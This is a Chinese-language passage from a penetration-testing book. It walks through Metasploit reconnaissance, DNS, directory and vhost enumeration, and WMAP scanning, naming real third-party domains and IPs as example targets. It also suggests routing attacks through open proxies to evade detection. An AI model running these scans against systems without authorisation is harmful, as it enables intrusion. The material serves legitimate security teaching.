第五章：使用 Metasploit 的渗透测试生命周期

本节包括四章，重点关注使用 Metasploit 进行 Web 应用程序的侦察、枚举、评估和利用。我们还将详细介绍 WMAP 和 Nessus 插件。

本节包括以下章节：

• 第四章，使用 Metasploit 进行侦察

• 第五章，使用 Metasploit 进行 Web 应用程序枚举

• 第六章，使用 WMAP 进行漏洞扫描

• 第七章，使用 Metasploit（Nessus）进行漏洞评估

第六章：使用 Metasploit 进行侦察

信息收集或侦察（recon）是渗透测试周期中最关键和耗时的阶段。在渗透测试 Web 应用程序时，您需要收集尽可能多的信息。信息越多越好。信息可以是任何类型 - 网页服务器横幅、IP 地址、运行 Web 应用程序服务的已打开端口列表、任何支持的 HTTP 标头等。这种信息将帮助渗透测试人员对 Web 应用程序进行测试检查。

在本章中，我们将介绍使用 Metasploit 进行侦察。我们将看一下可以用来执行侦察的模块。

我们将涵盖以下主题：

• 侦察介绍

• 主动侦察

• 被动侦察

技术要求

以下是本章的先决条件：

• 安装了 Web 界面的 Metasploit 社区版 (CE)

• *nix 系统或 Microsoft Windows 系统中的任何一个

• 访问 Shodan 和 Censys 账户以获取 API 密钥

关于侦察的介绍

简而言之，recon是渗透测试人员将收集与他们正在测试的 Web 应用程序相关的尽可能多的信息的阶段。侦察可以分为两种类型：

• 主动侦察：收集目标和来自目标的信息

• 被动侦察：通过第三方来源收集目标的信息

让我们在接下来的章节中详细看一下它们。

主动侦察

主动侦察（或主动攻击）是一种侦察类型，测试人员在此期间与目标服务器/系统进行通信，可以是从他们自己的系统或通过预先拥有的虚拟专用服务器（VPS）进行通信。在本章中，我们将看一些我们可以使用 Metasploit 内置脚本来执行主动和被动侦察的方式。

横幅抓取

横幅抓取是一种用于获取有关网络设备的信息的技术，例如操作系统、开放端口上运行的服务、使用的应用程序或版本号。它是信息收集阶段的一部分。Metasploit 有许多模块可以用来从不同类型的服务中收集横幅。

在下面的例子中，我们将使用http_version模块，它可以检测给定 IP 上运行的 HTTP 协议的服务的版本号和名称：

1. 从项目选项卡栏中转到模块，并在搜索模块框中输入http_version：

1. 现在，点击模块名称。这将把我们重定向到模块选项，我们可以在那里指定目标地址和其他设置，如下面的屏幕截图所示。

在我们的例子中，我们将选择端口80，因为我们知道 HTTP 协议正在端口80上运行。这个值可以更改为任何 HTTP 运行的端口号：

1. 一切准备就绪后，点击前面屏幕截图中显示的运行模块按钮。将创建一个新任务。点击项目选项卡中的任务，以查看任务的状态：

1. 当模块完成执行时，我们可以返回到分析选项卡，点击我们运行模块的主机 IP：

1. 我们将看到模块已经检测到并打印出了在端口80下运行的横幅，如下面的屏幕截图所示：

接下来，让我们看看如何检测 Web 应用程序的 HTTP 标头。

HTTP 标头检测

现在让我们尝试检测 Web 应用程序的 HTTP 标头。HTTP 标头可以透露关于应用程序的许多信息，比如正在使用的技术、内容长度、cookie 到期日期、XSS 保护等：

1. 转到模块部分，搜索http_header：

1. 点击模块名称将带我们到选项页面，我们可以在那里指定目标地址、端口号、线程等：

1. 在配置设置后，点击“运行模块”，将启动一个新任务：

1. 任务完成后，我们可以转到分析选项卡，在“注释”部分，我们将能够看到扫描模块发现的所有标头：

接下来，让我们看看网页机器人页面枚举。

网页机器人页面枚举

robots.txt（或robots 排除标准）是网站用来与爬虫或机器人通信的方法。让我们看看以下步骤中是如何进行枚举的：

1. 要阻止Googlebot访问子文件夹，我们将使用以下语法：

User-agent: Googlebot 
Disallow: /example-subfolder/

1. 要告诉所有机器人不要爬取网站，我们可以将以下数据放入文本文件中：

User-agent: *
Disallow: /

在这一部分，我们将使用robots_txt辅助程序来获取网站的robots.txt文件的内容：

1. 首先搜索带有robots_txt关键字的模块：

1. 点击模块将重定向我们到选项页面，在那里我们可以设置目标地址、RPORT、路径、VHOST 等。在我们的案例中，我们使用了www.packtpub.com作为 VHOST 的示例：

1. 点击“运行模块”后，将创建一个新任务，我们将能够在任务窗口中看到脚本运行的状态：

1. 任务完成后，我们可以返回到分析选项卡，点击目标主机的“注释”部分，查看网站的robots.txt文件中列出的所有目录的列表，如下图所示：

接下来，让我们在给定网站上查找一些配置错误的 Git 存储库。

查找隐藏的 Git 存储库

有时，在将代码从 Git 部署到生产服务器时，开发人员会将git文件夹留在公共目录中。这很危险，因为它可能允许攻击者下载应用程序的整个源代码。

让我们看看git_scanner模块，它可以帮助我们发现网站上配置错误的存储库：

1. 首先搜索git_scanner关键字：

1. 点击模块将重定向我们到模块选项页面，在那里我们指定目标地址和端口，然后点击“运行模块”：

1. 如下图所示，创建了一个新任务：

1. 任务完成后，我们可以转到分析选项卡，点击我们的主机。在“注释”部分，我们看到辅助程序找到了存储库的config和index文件：

1. 接下来，我们可以转到“捕获的数据”选项卡，查看辅助程序找到的文件的内容：

1. 点击“查看”将显示config文件的内容，其中包含git URL、版本和一些分支信息。这些信息也可以用来下载应用程序的整个源代码：

接下来，我们将检查开放代理服务。

开放代理检测

这是一个非常简单的脚本。它允许我们检查我们在端口上找到的代理服务是否是开放代理。如果代理服务是开放代理，我们可以使用服务器作为代理执行不同的攻击，并且可以避免检测，特别是在红队活动期间。按照以下步骤来看看这是如何完成的：

1. 首先在模块选项卡中搜索open_proxy关键字，如下图所示：

1. 点击模块名称，我们将被重定向到选项页面，在那里我们设置 IP、端口和 URL 以检查代理设置。

2. 点击运行模块将创建一个新任务：

如果代理是开放的，我们将在任务窗口中看到一条消息，如下截图所示：

现在我们对使用 Metasploit 进行主动侦察有了更好的理解，让我们继续学习被动侦察的下一个主题。

被动侦察

被动侦察是一种在不主动与系统接触的情况下收集有关目标的信息的方法。我们不会直接接触系统。相反，我们将使用间接方法收集有关目标的信息，例如通过 Shodan 和 Censys。

Metasploit 有许多辅助程序，可以帮助进行被动侦察。在本节中，我们将看一些使用 Metasploit 辅助程序进行被动侦察的方法。

存档的域名 URL

存档的域名 URL 是执行被动侦察的最佳方式之一，因为它们告诉我们有关网站历史和其 URL 的信息。有时，网站会更改，但一些旧文件和文件夹会留在服务器上；这些可能包含漏洞，并允许我们获得访问权限。Archived.org 和 Google Cache 是我们可以使用来搜索存档的域名 URL 的两个服务。

Metasploit 还有一个专门用于此目的的内置辅助程序：

1. 我们可以在搜索模块屏幕中使用enum_wayback关键字来找到我们需要的辅助程序：

1. 点击模块，我们将被重定向到选项页面，在那里我们可以输入网站域名。然后，点击运行模块：

创建一个新任务，并且模块成功运行，打印出它在任务窗口中找到的输出，如下截图所示：

接下来，您将了解 Censys。

Censys

Censys 是一个用于连接到互联网的设备的搜索引擎。Censys 于 2015 年在密歇根大学由开发 ZMap 的安全研究人员创建。

Censys 不断扫描和记录互联网上的设备：

1. Metasploit 还有一个内置的辅助程序，可以进行 Censys 扫描。我们可以在模块搜索中使用censys关键字来定位脚本：

1. 点击模块将带我们到选项页面，但在这之前，我们需要登录到censys.io上的帐户，并获取 API ID 和 Secret，这将在模块中使用：

1. 我们在模块选项中输入 API ID 和 Secret，并将域名指定为目标地址。我们以packtpub.com为例：

1. 点击运行模块将创建一个新任务。辅助程序将搜索不同的主机和它们的端口。结果将如下截图所示打印出来：

Metasploit 还有模块可以搜索 Shodan 和 Zoomeye 数据库，如下截图所示：

以下截图显示了shodan_search模块的输出：

1. 要运行 Zoomeye 模块，我们可以搜索zoomeye关键字，并像我们为 Shodan 做的那样运行模块。如下截图所示：

接下来，我们将学习 SSL 侦察。

SSL 侦察

安全套接字层（SSL）被组织用来确保服务器和客户端之间的加密通信。在本节中，我们将看看 Metasploit 模块，该模块使用 SSL Labs 的 API 来收集有关主机上运行的 SSL 服务的情报：

1. 我们可以在模块搜索中搜索ssllabs关键字，以找到模块，如下面的屏幕截图所示：

1. 单击模块名称将重定向到选项页面。在这里，我们设置目标并单击运行模块：

将创建一个新任务，该任务将显示我们的扫描结果和输出，如下面的屏幕截图所示：

SSL 可以透露很多东西，比如证书颁发机构、组织名称、主机和内部 IP。我们可以使用相同的模块来了解服务器上运行的 SSL 版本，检查服务器允许的密码，以及检查目标站点是否启用了HTTP 严格传输安全（HSTS）。

总结

在本章中，我们学习了侦察过程。我们从使用 HTTP 头和发现 Git 仓库的主动侦察开始。然后，我们转向被动扫描，查看 Shodan 和 SSL 分析，并使用存档的网页获取与目标相关的信息。

在下一章中，我们将学习如何使用 Metasploit 执行基于 Web 的枚举。我们将专注于 HTTP 方法枚举、文件和目录枚举、子域枚举等。

问题

1. HTTP 头检测模块没有显示任何输出。这是否意味着模块没有正常工作？

2. Metasploit Web 界面中的端口扫描有点有 bug。你能对此做些什么？

3. 您能在 Metasploit Web 界面中加载自定义模块，就像在 Metasploit 框架中使用它们一样吗？

4. 我的组织为我提供了安装在 VPS 上的 Metasploit Web 界面。我怎样才能确保 Web 界面的登录页面受到保护？

进一步阅读

要了解更多关于这个主题的信息，您可以查看以下网址：

• metasploit.help.rapid7.com/docs/replacing-the-ssl-certificate

• github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service

• www.offensive-security.com/metasploit-unleashed/scanner-http-auxiliary-modules/

第七章：使用 Metasploit 进行 Web 应用程序枚举

枚举是足迹的一个子集，属于渗透测试执行标准（PTES）情报收集的第二阶段。执行枚举的主要优势是找到攻击端点，从中我们可以发动攻击或发动伪攻击有效负载，以确认漏洞是否存在于同一端点。在大多数渗透测试案例中，测试人员花费大约 60-70%的时间寻找信息。测试人员使用这些信息来识别一些新的漏洞。枚举越好，渗透测试的结果就越好。在本章中，我们将涵盖以下主题：

• 枚举简介

• DNS 枚举

• 枚举文件

• 使用 Metasploit 进行爬取和抓取

技术要求

以下是本章的先决条件：

• 安装了 Metasploit 社区版（CE）的 Web 界面

• 基于*nix 系统或 Microsoft Windows 系统

• 用于枚举的通用单词列表-推荐使用 SecLists

枚举简介

在枚举过程中，我们从最初的足迹/侦察中检索到的所有信息将首次使用。对于渗透测试 Web 应用程序，我们需要对枚举过程有很好的理解。越好的侦察和枚举，我们就越快、越容易地找到 Web 应用程序中的漏洞。使用枚举，我们可以找到以下内容：

• 隐藏文件和目录

• 备份和配置文件

• 子域和虚拟主机

让我们首先看一下 DNS 枚举以及如何使用 Metasploit 进行 DNS 枚举。

DNS 枚举

Metasploit 还可以用于从 DNS 记录中获取有关主机的信息，使用dns_enum辅助功能。此脚本使用 DNS 查询来获取信息，如MX（邮件交换器）、SOA（授权起始）、SRV（服务）记录。它可以在网络内外使用。有时，DNS 服务配置为可被公众访问；在这种情况下，我们可以使用dns_enum来查找内部网络主机、MAC 地址和 IP 地址。在本节中，我们将看一下dns_enum的用法：

1. 我们可以在模块搜索选项中使用enum_dns关键字来查找辅助功能：

1. 单击模块名称将重定向我们到选项页面，如下图所示：

在这里，我们可以设置目标详细信息，例如我们正在使用的 DNS 服务器、域名以及我们希望脚本获取的记录。

1. 单击“运行模块”将创建一个新任务，输出将显示在下面的截图中：

现在让我们看看如何进一步改进以满足我们的需求，并使模块获取更多结果。

额外的工作-编辑源代码

Metasploit 中的enum_dns模块有点过时（我们可以检查 TLD 单词列表是否有更新）。因此，让我们定制模块以满足我们的需求。我们的想法是为enum_dns提供顶级域（TLD）单词列表，然后解析并检查条目以查询记录。从辅助功能的源代码中可以看到，它寻找的 TLD 不包括最近推出的新 TLD：

这可以在第 302 行中看到，在modules/auxiliary/gather/enum.dns.rb文件中，也可以通过访问以下链接在线访问：

github.com/rapid7/metasploit-framework/raw/f41a90a5828c72f34f9510d911ce176c9d776f47/modules/auxiliary/gather/enum_dns.rb#L302

从前面的源代码中，我们可以看到 TLD 存储在tlds[]数组中。让我们编辑代码以通过以下步骤更新 TLD。更新的 TLD 列表可以从互联网编号分配机构（IANA）网站找到：data.iana.org/TLD/tlds-alpha-by-domain.txt：

1. 从上述 URL 下载 TLD 文件并删除以#开头的第一行：

1. 在修改 Metasploit 模块之前，使用以下命令备份enum_dns.rb文件：

cp /usr/local/share/metasploit-framework/modules/auxiliary/gather/enum_dns.rb enum_db.rb.bak

请注意，Metasploit 框架安装在/usr/local/share目录中。在我们的情况下，我们已将文件命名为enum_dns.rb.bak。

1. 现在，使用您选择的任何文本编辑器打开enum_dns.rb文件并转到第 29 行：

1. 让我们向代码添加另一个注册条目，以便我们可以将我们的 TLD 单词列表提供给 Metasploit 模块：

在这个模块中，默认情况下禁用了 TLD 枚举。正如我们从上面的屏幕截图中所看到的，当ENUM_TLD选项设置为TRUE时，ENUM_TLD选项将通过用 IANA TLD 列表（旧列表）替换 TLD 来执行 TLD 扩展。

1. 让我们搜索ENUM_TLD字符串以查找function()，这将在启用 TLD 枚举选项时调用。

正如我们从下面的屏幕截图中所看到的，如果ENUM_TLD设置为TRUE，将调用get_tld()函数：

1. 现在让我们看看get_tld()函数：

1. 现在让我们添加一个代码部分，它将加载最新的 TLD 单词列表并将其保存在tlds[]数组中。请注意，我们已经从前面的屏幕截图中清空了 TLD 数组：

我们在这里做了什么？以下表格解释了前面屏幕截图中使用的函数和代码结构：

代码	描述
tlds = []	这声明了一个数组。
tld_file = datastore['TLD_WORDLIST']	这将单词列表文件名（带位置）保存在tld_file变量中。
File.readlines(tld_file).each do |tld_file_loop|	这逐行读取 TLD 单词列表。
tlds << tld_file_loop.strip	这会从每行中剥离\n并将其保存在tlds[]数组中。

1. 现在，保存文件并在 msfconsole 中执行reload命令以重新加载框架中的模块：

1. 现在让我们使用定制的enum_dns模块并执行show options：

正如我们从前面的屏幕截图中所看到的，我们已经将域设置为google.com以查找 Google 的 TLD。我们还将TLD_WORDLIST选项设置为我们更新的 TLD 单词列表。让我们执行它：

太棒了！更新后的 Metasploit 模块现在向我们显示了 TLD，这些 TLD 是提供给模块本身的。现在让我们继续下一节，在那里我们将使用 Metasploit 枚举文件和目录。

枚举文件

在渗透测试活动期间，枚举文件和目录是最重要的步骤之一。服务器端的小配置错误可能导致我们找到以下文件：

• 隐藏文件

• 备份文件

• 配置文件

• 重复文件

• 包含重要信息的文件，例如凭据文件、密码备份、错误日志、访问日志和调试跟踪

这些文件中包含的信息可以帮助我们计划对组织的进一步攻击。

以下是 Metasploit 框架中可用的一些辅助功能，可以帮助我们收集信息：

• dir_scanner

• brute_dirs

• prev_dir_same_name_file

• dir_listing

• copy_of_file

• Backup_file

以下是前述辅助功能的一些示例：

1. 我们可以使用 HTTP 目录扫描模块来查找目录列表，以及隐藏目录。我们可以使用dir_scanner关键字来查找模块，如下面的屏幕截图所示：

1. 单击模块名称将带我们到选项页面，在那里我们可以指定目标 IP/域名和端口号，如下面的屏幕截图所示：

1. 单击运行模块将创建一个新任务，我们可以在任务窗口中看到输出：

前面的屏幕截图显示了脚本发现的不同目录。

1. 扫描完成后，我们还可以在主机标签中查看目录列表：

1. 我们转到分析标签，并选择进行扫描的主机。

2. 单击漏洞标签将显示辅助工具找到的所有目录的列表，如下面的屏幕截图所示。同样，我们可以使用本节开头列出的其他模块来执行进一步的枚举：

在接下来的部分，我们将学习使用 web 辅助程序进行爬行和抓取。

使用 Metasploit 进行爬行和抓取

Metasploit 还允许我们使用辅助程序进行爬行和抓取网页。当我们想要通过定义的模式从网站的源代码中抓取内容时，抓取是很有用的。它可以为我们提供诸如在注释中提到的目录、开发人员电子邮件和后台进行的 API 调用等信息：

1. 对于爬行，我们可以使用crawl关键字来查找模块：

1. 我们将使用msfcrawler。单击模块将重定向我们到选项页面，在那里我们定义我们的目标、端口和深度。然后，单击运行模块：

1. 将创建一个新任务，并在任务窗口中看到找到的页面列表：

1. 同样，我们可以使用 HTTP Scrape 模块auxiliary/scanner/http/scraper来抓取网页：

模式字段是我们定义的用于查找我们想要的任何元素的正则表达式。在我们的情况下，我们想要抓取prod.packtpub.com/网站上脚本标记内的所有内容，所以我们的模式是<script \ type=\"text\/javascript\" \ src=\"(.*)\"><\/script>)。

运行模块将创建一个新任务，辅助程序将提取脚本标记中列出的所有数据，如下面的屏幕截图所示：

接下来，让我们扫描虚拟主机。

扫描虚拟主机

Metasploit 还允许我们扫描配置在同一 IP 上的虚拟主机。虚拟主机是在单个服务器上托管多个域名，并且每个域名都配置有不同的服务。它允许单个服务器共享资源：

1. 我们将使用 Metasploit 控制台进行此模块。要搜索vhost模块，我们可以使用vhost_scanner关键字：

1. 我们设置rhosts和domain。在我们的情况下，我们使用了packtpub.com域和151.101.21.124 IP：

1. 我们通过输入run来运行模块。辅助程序将进行扫描，并打印出所有找到的vhosts：

这个辅助工具也可以用于内部网络，以查找托管在同一服务器上但配置有不同域的不同内部应用程序。

总结

在本章中，我们涵盖了枚举，这是渗透测试生命周期中最重要的部分。我们从使用 Metasploit 模块枚举 DNS 开始，然后转向枚举文件和目录。最后，我们还研究了爬行模块以及vhost查找模块。

在下一章中，我们将学习如何使用 Web 应用程序扫描工具或 WMAP。WMAP 是一个用于对目标 Web 应用程序进行漏洞扫描的 Metasploit 插件。

问题

1. 我们可以使用自定义字典来枚举文件和目录吗？

2. 我们可以定制 Metasploit 有效载荷以一次性自动执行所有枚举吗？

3. 我们真的需要为抓取 HTTP 页面提供正则表达式吗？

进一步阅读

以下是一些可以供进一步阅读的网址：

• www.offensive-security.com/metasploit-unleashed/

• resources.infosecinstitute.com/what-is-enumeration/

第八章：使用 WMAP 进行漏洞扫描

漏洞评估是识别、排名和分类网络或应用程序中的漏洞的过程。它为组织提供了对其资产和面临的风险的理解。在使用 Metasploit 时，可以使用单独的辅助模块或可用的插件进行漏洞扫描。Metasploit 框架还允许我们添加自己的自定义插件，如果我们有自己的漏洞扫描器（内部）。

WMAP 是 Metasploit 的插件，它使用户可以根据扫描中使用的 Metasploit 模块对目标进行漏洞扫描。此插件的最佳功能之一是能够根据测试人员的要求使用尽可能多的 Metasploit 模块（包括自定义模块）进行漏洞扫描。测试人员可以创建多个配置文件以适应不同的情况。

在本章中，我们将学习以下主题：

• 了解 WMAP

• WMAP 扫描过程

• WMAP 模块执行顺序

• 向 WMAP 添加模块

• 使用 WMAP 进行集群扫描

技术要求

本章的先决条件如下：

• Metasploit 框架（github.com/rapid7/metasploit-framework）

• 基于*nix 系统或 Microsoft Windows 系统

• Metasploit 的 WMAP 插件

了解 WMAP

WMAP是用于扫描 Web 应用程序漏洞的扫描器插件。它不像 Burp Suite 或 Acunetix 那样是真正的扫描器，但它确实有自己的优势。在详细了解 WMAP 之前，让我们先试着了解其架构。

WMAP 架构简单而强大。WMAP 是作为插件加载到 MSF 中的迷你框架。它连接到 Metasploit 数据库以获取任何先前完成的扫描的结果。从数据库加载的结果（如主机名、URL、IP 等）将用于 Web 应用程序扫描。WMAP 使用 Metasploit 模块（如下图所示）来运行扫描，模块可以是任何类型的-辅助、利用等。一旦 WMAP 开始扫描目标，找到的所有工件和关键信息都将存储在 MSF 数据库中。WMAP 最强大的功能之一是其分布式（集群）扫描功能（在本章的使用 WMAP 进行集群扫描部分中介绍），它帮助 WMAP 通过n个节点（MSF 从属）扫描任意数量的 Web 应用程序。

在详细了解如何使用 WMAP 之前，让我们先了解一下流程。

WMAP 扫描过程

使用 WMAP 非常容易。我们在本节中为想要学习如何使用此插件的初学者定义了一个过程。扫描过程可以分为四个阶段-数据侦察、加载扫描器、WMAP 配置和启动。

让我们先看看第一阶段-数据侦察。

数据侦察

在这个阶段，使用爬虫、代理和其他来源收集与目标相关的信息。然后将数据保存在 MSF 数据库中以供进一步使用。可以使用任何第三方工具获取数据，例如 Burp Suite 或 Acunetix。数据可以使用db_import命令导入到 MSF 中，因为 MSF 支持许多第三方工具。让我们看一个 Burp 扫描如何导入到 Metasploit 的例子。

以下截图显示了db_import命令的输出：

以下是将 Burp Suite 数据导出并导入到 Metasploit 的步骤：

1. 打开先前完成的域名扫描。它可以是主动的也可以是被动的。在我们的案例中，我们将使用prod.packtpub.com的被动扫描示例。以下截图的“问题”选项卡显示了 Burp 发现的各种问题：

1. 然后，我们将选择要传输到 Metasploit 的问题，右键单击。然后，我们选择“报告所选问题”选项，如下所示：

1. 将打开一个新窗口，要求我们选择报告的格式。我们选择 XML 并单击下一步：

1. 在下一步中，我们可以指定报告中要包含的详细信息，然后单击下一步：

1. 然后，我们选择是否要包括来自扫描器的所选问题的请求和响应。我们选择两者并单击下一步：

1. 接下来，它将要求我们选择要导出的所有问题。我们选择需要的问题并单击下一步：

1. 在最后一步中，我们可以指定报告的目标路径和文件名，然后单击下一步：

1. 报告现在将被导出，一旦导出完成，我们可以关闭窗口：

1. 要将 Burp Suite 报告导入 Metasploit，我们可以简单地使用以下命令：

db_import test.xml

以下截图显示了前述命令的输出：

1. 导入完成后，我们可以使用hosts命令查看报告中的所有主机，如下所示：

1. 要查看从 Burp Suite 扫描器导入的漏洞，我们可以使用vulns命令，如下截图所示：

现在信息已经导入到 Metasploit 中，WMAP 将自动检测和加载相同的信息，这意味着 Metasploit 中的主机现在将自动添加为 WMAP 模块中的站点。

加载扫描器

正如我们之前提到的，WMAP 实际上是一个加载在 MSF 中的插件。您可以通过输入load命令并按Tab键来查看 MSF 上的所有插件，如下所示：

开始加载过程，以下是要遵循的步骤：

1. 让我们使用load wmap命令加载 WMAP 插件：

1. 一旦插件加载完成，您可以使用?或help命令查看帮助部分，如下所示：

接下来，我们将看一下 WMAP 配置。

WMAP 配置

您已经学会了如何在数据侦察阶段自动将目标添加到 WMAP 中。还有另一种方式可以将数据加载到 WMAP 中，那就是手动定义目标：

1. 让我们从创建一个新站点或工作空间开始执行我们的扫描。让我们看看我们用于站点创建的所有选项。键入wmap_sites -h：

1. 现在让我们添加站点。有两种添加站点的方式 - 一种是直接通过 URL 或 IP。可以使用以下命令完成：

wmap_sites -a 151.101.21.32

以下截图显示了前述命令的输出：

1. 第二种方法是使用虚拟主机。当我们必须扫描多个虚拟主机时，这是非常有用的。要添加虚拟主机，我们可以使用以下命令：

wmap_sites -a <subdomain> , <IP Address>

以下是前述命令的输出：

1. 添加站点后，我们可以以类似的方式添加目标，可以是 IP/域名或虚拟主机（虚拟主机/域）。要通过 IP 添加目标，我们可以使用以下命令：

wmap_targets -t <IP Address>

以下屏幕截图显示了前面命令的输出：

1. 要通过虚拟主机添加目标，我们使用以下命令：

wmap_targets -t <subdomain > , <IP Address>

以下屏幕截图显示了前面命令的输出：

1. 要查看将由 WMAP 运行的所有模块的列表，我们可以使用wmap_modules -l命令。命令的输出如下屏幕截图所示：

以下屏幕截图显示了文件/目录测试的模块：

此阶段还包括 WMAP 扫描节点，可以配置这些节点，以便进行分布式 WMAP 扫描。可以使用wmap_nodes命令管理和配置节点。关于这一点将在本章的使用 WMAP 进行集群扫描部分进行讨论。完成最终配置后，下一阶段是启动 WMAP。

启动 WMAP

默认情况下，WMAP 在目标上运行所有模块，但您可以更改模块执行的顺序（这将在下一个主题中介绍）：

1. 要运行 WMAP，请执行以下命令：

wmap_run -e

以下屏幕截图显示了前面命令的输出：

执行前面的命令后，加载模块的执行将开始。在 WMAP 中没有暂停或恢复选项，所以你要么等待扫描完成，要么可以通过按Ctrl+C来中断扫描过程。

1. 要了解有关wmap_run命令的更多信息，可以执行wmap_run -h命令，以查看在启动时可以使用的其他可用选项：

甚至可以基于模块使用关键字字符串或正则表达式启动 WMAP 扫描。在这种情况下，我们使用一个字符串，将在加载的模块列表中搜索任何version关键字：

我们可以根据需要使用正则表达式。现在我们已经了解了 WMAP 扫描过程的不同阶段。在下一节中，我们将了解 WMAP 中的执行顺序。

WMAP 模块执行顺序

WMAP 按特定顺序运行加载的模块。顺序由数字值定义。默认情况下，用于 Web 扫描的第一个模块是http_version，其OrderID=0，open_proxy模块的OrderID=1。这也意味着http_version模块将首先执行，然后是open_proxy。测试人员可以通过相应地更改OrderID来改变模块执行的默认行为：

1. 模块执行顺序可以根据我们的需要进行更改。我们可以通过执行wmap_modules -l命令来获取OrderID。

以下屏幕截图显示了前面命令的输出：

1. OrderID在 Metasploit 模块代码中设置。让我们看看http_version模块的OrderID：

可以使用register_wmap_options()方法调整 WMAP 模块的执行顺序。

1. 让我们使用这种方法来更改http_version模块的OrderID：

1. 现在让我们重新加载模块：

1. 重新加载后，我们使用wmap_modules -l命令列出模块，以查看更新后的模块执行顺序：

从前面的屏幕截图中，我们可以看到OrderID现在已经更改。现在我们已经了解了模块执行顺序，让我们在下一节中向 WMAP 添加一个模块。

向 WMAP 添加模块

WMAP 允许我们添加自己的模块。这可以是来自 MSF 的模块，也可以完全从头开始制作我们自己的模块。让我们以 SSL 模块为例。以下截图显示了 WMAP 当前正在使用的两个模块：

我们还可以添加基于 SSL 的扫描器模块（除了 MSF 中可用的 SSL Labs 模块）：

1. 我们将使用ssllabs_scan模块，它将使用 Qualys SSL Labs 的在线 SSL 扫描仪通过 Qualys 提供的公共 API 执行 SSL 扫描：

1. 现在我们编辑此模块的源代码，以便我们可以添加可以在扫描中使用的必要库和方法：

1. 我们在MetasploitModule类下面添加以下行：

include Msf::Auxiliary::WmapScanSSL

上述 WMAP 库提供了包含在扫描中的 WMAP SSL 扫描器模块的方法。这可以在以下截图中看到：

仅添加库是不够的；仅添加库运行模块将导致错误：

原因是这是HOSTNAME数据存储，它是ssllabs_scan模块选项，并且 WMAP 插件根本没有捕获它。插件只定义了以下方法（参考metasploit-framework/lib/msf/core/auxiliary/wmapmodule.rb文件）：

在这种情况下，我们需要找到 WMAP 识别ssllabs_scan模块的HOSTNAME数据存储的方法。可能有很多变通方法，但我们将使用这个，因为对我们来说很方便：

1. 我们将数据存储更改为从datastore['HOSTNAME']到datastore['VHOST']：

存储来自HOSTNAME数据存储的数据的变量将保存来自VHOST数据存储的数据。同时，WMAP 将通过wmap_target_vhost()方法识别VHOST数据存储：

1. 现在我们保存代码并返回到我们的 Metasploit 控制台，并通过输入reload重新加载模块：

我们还使用以下命令重新加载 WMAP 模块：

wmap_modules -r

以下截图显示了上述命令的输出：

1. 现在让我们列出模块：

模块已加载！

以下是可以在任何模块中使用的混合类型：

混合	描述
WmapScanSSL	对 SSL 服务运行一次扫描
WmapScanServer	对 Web 服务运行一次扫描
WmapScanDir	对目标中找到的每个目录运行扫描
WmapScanFile	对目标中找到的每个文件运行扫描
WmapScanUniqueQuery	对目标的每个请求中找到的每个唯一查询运行扫描
WmapScanQuery	对目标的每个请求中找到的每个查询运行扫描
WmapScanGeneric	在扫描完成后运行的模块（被动分析）

1. 更新 WMAP 模块的操作：

模块发现的漏洞保存在数据库中，可以通过执行wmap_vulns -l命令查看：

在下一节中，我们将看一下 WMAP 的分布式扫描功能。

使用 WMAP 进行集群扫描

WMAP 还可以用于对目标进行分布式评估。此功能允许在不同服务器上运行的多个 WMAP 实例以主从模型一起工作，如下所示：

WMAP 主服务器会自动将目标分发到从服务器上，形成作业。作业完成后，将结果报告给主服务器，并将结果存储在主服务器的数据库中：

1. 让我们添加一个站点进行扫描：

1. 使用auxiliary/scanner/http/crawler模块在站点上使用爬虫；相应地设置选项：

1. 运行爬虫以收集表单和页面：

1. 使用wmap_sites -l命令确认从爬行中找到的页面/表单的数量：

1. 让我们为分布式扫描设置 WMAP 节点。我们将在节点上使用msfrpcd -U <user> -P <password>命令运行msfrpcd。此命令将在后台启动 RPC 服务器，以便 WMAP 与 Metasploit 进行交互：

1. 一旦节点配置好，我们将使用wmap_nodes命令来管理和利用这些节点：

1. 我们将使用以下命令将节点添加到 WMAP 中：

wmap_nodes -a <IP> <RPC port> <SSL status - true/false> <rpc user> < rpc pass>

以下屏幕截图显示了上述命令的输出：

1. 一旦节点连接，我们可以使用wmap_nodes -l命令列出节点：

1. 现在一切都设置好了。我们只需要为扫描程序定义目标。可以使用wmap_targets命令完成：

在本例中，我们使用了-d开关来根据 ID 添加目标。可以使用wmap_sites -l命令检索 ID。当前设置的问题是，所有在节点上执行的模块都将保存数据在节点上。

1. 如果要将数据保存在节点上，需要将节点连接到本地 MSF 数据库。可以使用以下命令完成：

wmap_nodes -d <local msf db IP> <local msf db port> <msf db user> <msf db pass> <msf db database name>

以下屏幕截图显示了上述命令的输出：

1. 现在使用wmap_run -e命令运行 WMAP：

WMAP 加载的每个模块都将相应地分布和在节点上执行。

WMAP 每个节点的作业限制为 25 个。这是为了防止节点负担过重。

1. 我们可以通过输入wmap_nodes -l来查看连接的节点列表，如下所示：

1. 我们还可以使用 WMAP 仅运行单个模块；例如，如果我们想要运行dir_scanner模块，可以使用以下命令：

wmap_run -m dir_scanner

以下是输出：

以下屏幕截图显示了发现的目录的输出：

1. 如前面的屏幕截图所示，该模块开始列出找到的目录。要以树形结构查看输出，请使用此命令：

wmap_sites -s 1

以下屏幕截图显示了上述命令的输出：

1. 要查看分配给节点的当前作业，可以使用此命令：

wmap_nodes -j

以下屏幕截图显示了上述命令的输出：

1. 要删除节点，我们可以使用此命令：

wmap_nodes -c 1

这将从列表中删除节点 1。

总结

在本章中，我们了解了 WMAP 及其架构和扫描过程。接下来，我们学习了如何将来自不同工具（如 Burp Suite）的输出导入 Metasploit，并继续加载、配置和使用 WMAP 模块进行扫描。在本章末尾，我们看了如何在 WMAP 中使用集群扫描。

在下一章中，我们将研究 WordPress 的渗透测试。

问题

1. 分布式扫描可以使用多少个 WMAP 实例？

2. WMAP 插件支持报告吗？

3. 我可以导入其他服务器日志和报告到 Metasploit 中，然后在 WMAP 中使用吗？

4. 我想进一步定制 WMAP 以适应我们组织的环境。我该怎么做？

5. WMAP 支持每个节点多少个作业？

进一步阅读

• 有关 WMAP 网络扫描程序的更多信息，请访问以下链接：

www.offensive-security.com/metasploit-unleashed/wmap-web-scanner/

第九章：使用 Metasploit（Nessus）进行漏洞评估

在本章中，我们将介绍使用 Nessus 桥接 Metasploit 框架进行漏洞评估的一些方法。Nessus 是 Tenable 公司开发的漏洞扫描器。它被广泛用于进行网络安全评估。Nessus 桥接允许 Metasploit 解析和导入 Nessus 的扫描结果到其自己的数据库进行进一步分析和利用。我们甚至可以使用桥接在 Metasploit 内部启动 Nessus 扫描。

在本章中，我们将涵盖以下主题：

